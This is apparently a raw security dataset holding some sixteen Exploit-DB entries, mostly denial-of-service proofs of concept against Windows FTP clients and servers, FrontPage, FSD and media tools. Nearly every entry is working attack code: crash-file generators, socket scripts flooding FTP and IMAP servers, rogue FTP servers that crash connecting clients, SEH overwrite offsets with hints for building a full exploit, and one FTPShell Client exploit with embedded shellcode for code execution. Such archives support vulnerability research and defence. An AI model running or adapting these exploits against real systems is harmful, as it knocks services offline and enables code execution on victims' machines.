deardaniel/secdata-raw huggingface dataset:
Exploit-DB #15657
Description: FreeTrim MP3 2.2.3 - Denial of Service
Type: dos
Platform: windows
Date: 2010-12-02
Author: h1ch4m

Exploit:
####Exploit Title: FreeTrim MP3  Local Crash PoC
####Software Link: http://www.freetrimmp3.com/downloads/FreeTrimMP3.exe
####Tested on: Win XP SP3
####Date: 02-12-2010
####Author:  h1ch4m
####Email: h1ch4m@live.fr

################################################
#############   sahra dyalna o jazayrya khotna         
################################################

my $file= "1.cda";
my $junk = "\x41" x 100;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "File Created successfully\n";
sleep(1);
Exploit-DB #38317
Description: FreshFTP 5.52 - '.qfl' Crash (PoC)
Type: dos
Platform: windows
Date: 2015-09-25
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Title: FreshFTP .QFL Local DOS(While Parsing).
# Date: 9/15/2015
# Exploit Author: Un_N0n
# Software Vendor : http://www.freshwebmaster.com/
# Software Link: http://www.freshwebmaster.com/download.html
# Version: 5.52
# Tested on: Windows 7 x86(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- Goto Directory in which freshftp is installed.
2- create a file "Test.QFL"
3- paste in the following contents in it:
'''
	FFD    QUEUE    «AJ»
	AAAAA....upto 66666(bigger the file, more the resource usage)
'''
4- Save the file.
5- open freshftp.exe
6- When freshftp is started it looks for QFL file to load it, in this case, freshFTP suffers a 
   DOS condition due to unexpected format of the QFL file.
7- there is another case, sometimes freshftp won't load QFL on the startup, so to perform DOS
   in this case, goto Queue-> Open Queue -> Browse the QFL file, DOS Condition occurs.
8- At the next startup, freshFTP will look for QFL file before starting therefore DOS condition
   again.
   
This DOS condition leads to very high CPU Usage as well as RAM usage which can harm your system
so test carefully.
***********************************************************************************************
Exploit-DB #48613
Description: Frigate 2.02 - Denial Of Service (PoC)
Type: dos
Platform: windows
Date: 2020-06-22
Author: Paras Bhatia

Exploit:
# Exploit Title: Frigate 2.02 - Denial Of Service (PoC) 
# Vendor Homepage: http://www.frigate3.com/ 
# Software Link Download: http://www.frigate3.com/download/Frigate2.exe
# Exploit Author: Paras Bhatia
# Discovery Date: 2020-06-22
# Vulnerable Software: Frigate
# Version: 2.02
# Vulnerability Type: Denial of Service (DoS)
# Tested on: Windows 7 Ultimate Service Pack 1 (32 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: FrigateCrash.py
#   2.- Copy content to clipboard
#   3.- Open "Frigate2.exe"
#   4.- Go to "Disk" > "Activate Command Line"
#   5.- Paste ClipBoard into the "Command Line" field which appears at the bottom of the Frigate application.
#   6.- Press Enter from Keyboard.
#   7.- Click on OK in the dialog box that appears.
#   8.- Crashed.


##################################################################################################################################################


#Python "FrigateCrash.py" Code:

f= open("FrigateCrash.txt", "w")
payload="\x41" * 8000
f.write(payload)
f.close()
Exploit-DB #48287
Description: Frigate 3.36 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-04-06
Author: inter

Exploit:
# Exploit Title: Frigate 3.36 - Denial of Service (PoC) 
# Date: 2020-04-05
# Exploit Author: inter
# Vendor Homepage: http://www.Frigate3.com/
# Software Link Download: http://www.Frigate3.com/download/Frigate3_Std_v36.exe
# Vulnerable Software: Firgate
# Version: 3.36
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on: Windows 7 Ultimate Service Pack 1 (64 bit - English)  

#Steps to Produce the Crash:

#   1.- Run python code: crash.py
#   2.- Copy content to clipboard
#   3.- Open "Frigate3.exe"
#   4.- Go to "Disk" > Find Computer
#   5.- Paste ClipBoard into the "Computer Name:" field
#   6.- Click on OK
#   7.- Crashed

#Python "crash.py" Code:
   
buffer = "\x41" * 2000
f = open ("Frigate.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #19853
Description: FrontPage 97/98 - Server Image Mapper Buffer Overflow
Type: dos
Platform: windows
Date: 2000-04-19
Author: Narrow

Exploit:
source: https://www.securityfocus.com/bid/1117/info

The htimage.exe and imagemap.exe files included with FrontPage handle server-side image mapping functions. Under normal operations, it would be passed a map name and a set of coordinates in the format http:&nbsp;//target/path/htimage.exe/mapname?x,y .

If the mapname portion of the request is replaced with 741 or more characters, the webserver software will crash, although the operating system will continue to function normally. Stack dumps reveal that user-supplied data occasionally makes it to the EIP register, making the execution of remote arbitrary code potentially possible.

To crash the server:
http:&nbsp;//target/path/htimage.exe/<741+characters>?0,0
Exploit-DB #30628
Description: FSD 2.052/3.000 - 'servinterface.cc servinterface::sendmulticast' 'PIcallsign' Command Remote Overflow
Type: dos
Platform: windows
Date: 2007-10-01
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/25883/info
 
FSD is prone to multiple remote buffer-overflow vulnerabilities because the application fails to perform adequate boundary-checks on user-supplied data.
 
An attacker can exploit these issues to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.
 
These issues affect FSD 2.052 d9 and 3.0000 d9; other versions may also be affected.
 
A]
connect with nc or telnet to port 3010 (sometimes it can be 3011, but
it's easy to recognize since it shows a "FSD>" prompt) and then send:

HELP aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

B]
connect with nc or telnet to port 6809, now you must log in or create a
new user, but seems that all usernames and passwords are available on
port 3011 (or 3012) where they are sent just when you connect:

#AAcallsign::ident:122222:122222:1:9
$PIcallsign:aaaaaaaaaaaaaaaaaaaaaaaaaaaaa...(more_than_100_'a's)...aaaa

(in the above example the first 122222 is the CID and the second one is
the password)
Exploit-DB #1327
Description: FTGate4 Groupware Mail Server 4.1 - imapd Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2005-11-16
Author: Luca Ercoli

Exploit:
#!/usr/bin/perl

use IO::Socket;

print "\nFTGate Imapd BufferOverrun\nLuca Ercoli io\@lucaercoli.it\n";
print "http://www.lucaercoli.it\n\n\n";

$host = "localhost";

$remote = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $host,
PeerPort => "143",
);

unless ($remote) { die "Can't connect to $host" }

print "[!] Connected\n";
print "[?] Exploiting...\n";

sleep(1);

my $imapd = join ("", "1 login user pass", "\r\n");

print $remote $imapd;

sleep(1);
my $imapd = join ("", "1 EXAMINE ", "B"x(224), "\r\n");
print $remote $imapd;
sleep(1);
my $imapd = join ("","C"x(11305), "\r\n");
print $remote $imapd;

print "\n[!] Done\n\n\n";

close $remote;

# milw0rm.com [2005-11-16]
Exploit-DB #37810
Description: FTP Commander 8.02 - Overwrite (SEH)
Type: dos
Platform: windows
Date: 2015-08-18
Author: Un_N0n

Exploit:
********************************************************************************************
# Exploit Title: FTP Commander 'Costum Command' SEH Over-Write(Buffer Overflow).
# Date: 8/17/2015
# Exploit Author: Un_N0n
# Software Vendor : http://www.internet-soft.com/
# Software Link: http://www.internet-soft.com/ftpcomm.htm
# Version: 8.02
# Tested on: Windows 7 x32(32 BIT)
********************************************************************************************

[Steps to Produce the Crash]:
1- open 'ftpcomm.exe'.
2- Goto FTP - Server > Costum Command.
3- Below the SERVER LIST a input-box will appear, enter the contents of the crash.txt into it, then press Do it!.
4- Software will crash saying 'Access Violation at address XXXXXXXX......'.

This is basic SEH Over-write, i have tried to make a working exploit on WIN 7 x32 but no luck since this-
program does not have its own DLLs and using Windows DLLs is not a good idea b/c SAFESEH, have tried
other techniques but the final exploit seems to be un-stable.

[Code to produce crash.txt]: 
junk = "A"*6000
file = open("crash.txt",'w')
file.write(junk)
file.close()

The following details are for those who would like to develop a working exploit for this software:
OFFSET: 4112 + BBBB[NSEH] + CCCC[SEH] ...
Hint: ~You can try loading the address from outside the address range of loaded modules.~ ;)
*****************************************************************************************************************************
Exploit-DB #23117
Description: FTP Desktop 3.5 - Banner Parsing Buffer Overflow
Type: dos
Platform: windows
Date: 2003-09-08
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8559/info

A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerability occurs when FTP Desktop is parsing 'Welcome' banner 220 messages from remote FTP servers. When FTP Desktop receives an FTP banner exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the affected FTP client. 

(FTP Desktop connected...)
PADDING EBP EIP
220 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX
Exploit-DB #23118
Description: FTP Desktop 3.5 - FTP 331 Server Response Buffer Overflow
Type: dos
Platform: windows
Date: 2003-09-08
Author: Bahaa Naamneh

Exploit:
source: https://www.securityfocus.com/bid/8560/info

A buffer overflow vulnerability has been reported in FTP Desktop. The vulnerability occurs when FTP Desktop is parsing 331 server responses from remote FTP servers. When FTP Desktop receives an FTP 331 response exceeding a certain length, it will trigger the overflow condition. This could allow for execution of malicious code in the context of the affected FTP client.

Username:
---------
(FTP Desktop Sends 'USER username')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX

Password:
---------
(FTP Desktop Sends 'PASS password')
PADDING EBP EIP
331 [229xA][4xB][4xX]
(Access violation when executing 0x58585858) // 4xX
Exploit-DB #3347
Description: FTP Explorer 1.0.1 Build 047 - Remote CPU Consumption (Denial of Service)
Type: dos
Platform: windows
Date: 2007-02-20
Author: Marsu

Exploit:
/***********************************************************************************
*           FTP Explorer 1.0.1 Build 047 Remote DoS (CPU consumption)              *
*                                                                                  *
* FTP Explorer is prone to a DoS after receiving a long PWD response leading to    *
* 100% CPU consumption.                                                            *
* Have Fun!                                                                        *
*                                                                                  *
* Coded by Marsu <Marsupilamipowa@hotmail.fr>                                      *
***********************************************************************************/



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#include "windows.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
	char recvbuff[1024];
	char evilbuff[30000];
	sockaddr_in sin;
	int server,client;
	WSADATA wsaData;
	WSAStartup(MAKEWORD(1,1), &wsaData);

	server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	sin.sin_family = PF_INET;
	sin.sin_addr.s_addr = htonl(INADDR_ANY);
	sin.sin_port = htons( 21 );
	bind(server,(SOCKADDR*)&sin,sizeof(sin));

	printf("[+] FTP Explorer Remote CPU consumption DoS\n");
	printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
	printf("[*] Listening on port 21 ...\n");
	listen(server,5);
	printf("[*] Waiting for client ...\n");
	client=accept(server,NULL,NULL);
	printf("[+] Client connected\n");
	memcpy(evilbuff,"220 Hello there\r\n\0",18);

	if (send(client,evilbuff,strlen(evilbuff),0)==-1)
	{
		printf("[-] Error in send!\n");
		exit(-1);
	}

	//USER
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
    	memcpy(evilbuff,"331 \r\n\0",7);
	send(client,evilbuff,strlen(evilbuff),0);

	//PASS
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"230 \r\n\0",7);
	send(client,evilbuff,strlen(evilbuff),0);

	//SYST 
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	memcpy(evilbuff,"215 WINDOWS\r\n\0",14);
	send(client,evilbuff,strlen(evilbuff),0);

	//PWD
	int i=5;
	memset(recvbuff,'\0',1024);
	recv(client,recvbuff,1024,0);
	printf("%s", recvbuff);
	while (i<25000) {
		memset(evilbuff+i,'a',1);
		i++;
		memset(evilbuff+i,'/',1);
		i++;
	}
	memcpy(evilbuff,"257 \"",5);
	memcpy(evilbuff+25000,"\"\r\n\0",4);
	send(client,evilbuff,strlen(evilbuff),0);

	Sleep(100);
	printf("[+] Must be 100%% CPU consuming\n");
	closesocket(client);
	closesocket(server);
	return 0;

}

// milw0rm.com [2007-02-20]
Exploit-DB #47794
Description: FTP Navigator 8.03 - 'Custom Command' Denial of Service (SEH)
Type: dos
Platform: windows
Date: 2019-12-19
Author: Chris Inzinga

Exploit:
# Exploit Title: FTP Navigator 8.03 -  'Custom Command' Denial of Service (SEH)
# Date: 2019-12-18
# Exploit Author: Chris Inzinga
# Vendor Homepage: http://www.internet-soft.com/
# Software Link: https://www.softpedia.com/dyn-postdownload.php/5edd515b8045f156a9dd48599c2539e5/5dfa4560/d0c/0/1
# Version: 8.03
# Tested on: Windows 7 SP1 (x86)

# Steps to reproduce:
#   1. Generate a malicious payload via the POC
#   2. In the application click "FTP - Server" > "Custom Command"
#   3. Paste the contents of the PoC file into the input box below SERVER LIST and press "Do it!"
#   4. Observe a program DOS crash, overwriting SEH 

#!/usr/bin/python

payload = "A" * 4108 + "B" * 4 + "C" * 40

try:
    fileCreate =open("exploit.txt","w")
    print("[x] Creating file")
    fileCreate.write(payload)
    fileCreate.close()
    print("[x] File created")
except:
    print("[!] File failed to be created")
Exploit-DB #6926
Description: FTP Now 2.6 Server - Response Remote Crash (PoC)
Type: dos
Platform: windows
Date: 2008-11-01
Author: DeltahackingTEAM

Exploit:
#!/usr/bin/perl
# By Dr.Pantagon
# www.deltasecurity.ir
# DeltaSecurityCenter
# Special Tnx D_7J AND H!V++
# FTP Now version 2.6 Server Response PoC
# Usage: ./ftpnow.pl [IP]
# Download Link : http://www.network-client.com/ftpnow/FTPNow26.exe
#
# Details: The response is broken into buffers, either at length 1024,
#                  or at '\r\n'. Each buffer is apended with \x00, without
#                  bounds checking.  If the response is exctly 1024 characters
#                  in length, you will overflow the heap with the string \x00.


use IO::Socket;
use strict;

# Create listener
my $ip=shift || '127.0.0.1';  # Default ip
my $sock = IO::Socket::INET->new(Listen=>1,
                                 LocalHost=>$ip,
                                                     LocalPort=>'21',  #Default port
                                                             Proto=>'tcp');
$sock or die ("Could not create listener.\nMake sure no FTP server is running, and you are running this as root.\n");

# Wait for initial connection and send banner
my $sock_in = $sock->accept();
print $sock_in "220 dara daram , dara daram :D \r\n";

# Send response code with total lenght of response = 1024
while (<$sock_in>){
       my $response;
       if($_ eq "USER") { $response="331 ";}
       elsif($_ eq "PASS") { $response="230 ";}
       elsif($_ eq "syst") { $response="215 ";}
       elsif($_ eq "CWD") { $response="250 ";}
       elsif($_ eq "PWD") { $response="230 ";}
       else { $response="200 ";}
       print $sock_in $response."A"x(1024-length($response)-2)."\r\n";
}
close($sock);

# milw0rm.com [2008-11-01]
Exploit-DB #10100
Description: FTPDMIN 0.96 - 'LIST' Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-03-20
Author: shinnai

Exploit:
# usr/bin/python

import socket
import time

print
"-----------------------------------------------------------------------"
print "# FTPDMIN v. 0.96 LIST Denial of Service"
print "# url: http://www.sentex.net/~mwandel/ftpdmin/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print
"-----------------------------------------------------------------------\n"

buff = "//A:"

user = "anonymous"
[CREDENTIAL_REDACTED]"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("127.0.0.1",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER %s\r\n' % user)
   print "Client -> USER " + user
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS %s\r\n' % password)
   print "Client -> PASS " + password
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('LIST %s\r\n' % buff)
   print "Client -> LIST " + buff
   d = s.recv(1024)
   print d
   time.sleep(2)

except:
   print "- Unable to connect. exiting."

# milw0rm.com [2007-03-20]
Exploit-DB #41629
Description: FTPShell Client 6.53 - 'Session name' Local Buffer Overflow
Type: dos
Platform: windows
Date: 2017-03-17
Author: ScrR1pTK1dd13

Exploit:
print '''

                ##############################################
                #    Created: ScrR1pTK1dd13                  #
                #    Name: Greg Priest                       #
                #    Mail: ScrR1pTK1dd13.slammer@gmail.com   # 
                ##############################################

# Exploit Title: FTPShell Client 6.53 Session name BufferOverflow
# Date: 2017.03.17
# Exploit Author: Greg Priest
# Version: FTPShell Client 6.53
# Tested on: Windows7 x64 HUN/ENG Professional
'''


a = "A" * 460
b = '\xDC\xE8\x65\x76'
nop = '\x90' * 10
c = "C" * 1638

#calc.exe
shellcode =(
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" +
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" +
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33" +
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b" +
"\x57\x78\x01\xc2\x8b\x7a\x20\x01" +
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" +
"\x45\x81\x3e\x43\x72\x65\x61\x75" +
"\xf2\x81\x7e\x08\x6f\x63\x65\x73" +
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66" +
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" +
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" +
"\xb1\xff\x53\xe2\xfd\x68\x63\x61" +
"\x6c\x63\x89\xe2\x52\x52\x53\x53" +
"\x53\x53\x53\x53\x52\x53\xff\xd7")

evilstring = a+b+nop+shellcode+c


file = open ('evilstring.txt', "w")
file.write(evilstring)
file.close

print evilstring
Exploit-DB #1121
Description: FTPshell Server 3.38 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2005-07-26
Author: Reed Arvin

Exploit:
#!/usr/bin/perl
#
# Usage: FTPShell_FTPDOS.pl <ip> <user> <pass>
#        FTPShell_FTPDOS.pl 127.0.0.1 hello moto
#
# FTPshell Server Version 3.38
#
# Download:
# http://www.ftpshell.com/
#
################################################

use IO::Socket;
use Win32;
use strict;

my($i)      = "";
my($socket) = "";

for ($i = 1; $i <= 40; $i++)
{
        if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                            PeerPort => "21",
                                            Proto    => "TCP"))
        {
                print "Login \#$i\n";

                Win32::Sleep(300);

                print $socket "USER $ARGV[1]\r\n";

                Win32::Sleep(100);

                print $socket "PASS $ARGV[2]\r\n";

                Win32::Sleep(100);

                print $socket "PORT 127,0,0,1,18,12\r\n";

                Win32::Sleep(100);

                close($socket);
        }
        else
        {
                print "Cannot connect to $ARGV[0]:21\n";
        }
}

# milw0rm.com [2005-07-26]
Exploit-DB #7852
Description: FTPShell Server 4.3 - Licence Key Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-01-22
Author: LiquidWorm

Exploit:
#!/usr/bin/perl
#
# Title: FTPShell Server 4.3 (licence key) Remote Buffer Overflow PoC
#
# Summary: FTPShell server is a windows FTP service that enables remote file downloads and uploads.
# It supports regular and secure FTP based on both SSL/TLS and SSH2. It is also extremely easy to
# configure and use.
#
# Product web page: http://www.ftpshell.com/index.htm
#
# Desc: FTPShell Server 4.3 suffers from buffer overflow vulnerability that can be exploited remotely or localy.
# It fails to perform adequate boundry condition of the input .key file, allowing us to overwrite the EAX and EDX
# registers. When trying to install licence with less than 8000 bytes we get a message: "It appears that your key
# file is corrupt or invalid.", but when installing a licence with 8000 bytes we get a message: "Your licence key
# has been succesfully loaded. Please restart the program."
#
# Note: When you restart the program, it will always crash untill you repair it or reinstall it.
#
#
# ---------------------------------WinDbg-------------------------------------
#
# (1178.1d4): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=41414141 ebx=00b159c0 ecx=00b159c0 edx=41414141 esi=00b1c630 edi=00000005
# eip=004039a0 esp=0012f3bc ebp=00000000 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# 
# ftpshelldscp+0x39a0:
# 004039a0 ff5210          call    dword ptr [edx+10h]  ds:0023:41414151=????????
#
# ----------------------------------------------------------------------------
#
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail [w00t] com
#
# http://www.zeroscience.org
#
# 22.01.2009
#
####################################################################################


$file = "Yes_Man.key";

$payload = "\x41" x 8000; 

print "\n\n[-] Buffering malicious playlist file. Please wait...\r\n";

sleep (1);

open (key, ">./$file") || die "\nCan't open $file: $!";

print key "$payload";

close (key);

print "\n\n[+] File $file successfully created!\n\n\a";

# milw0rm.com [2009-01-22]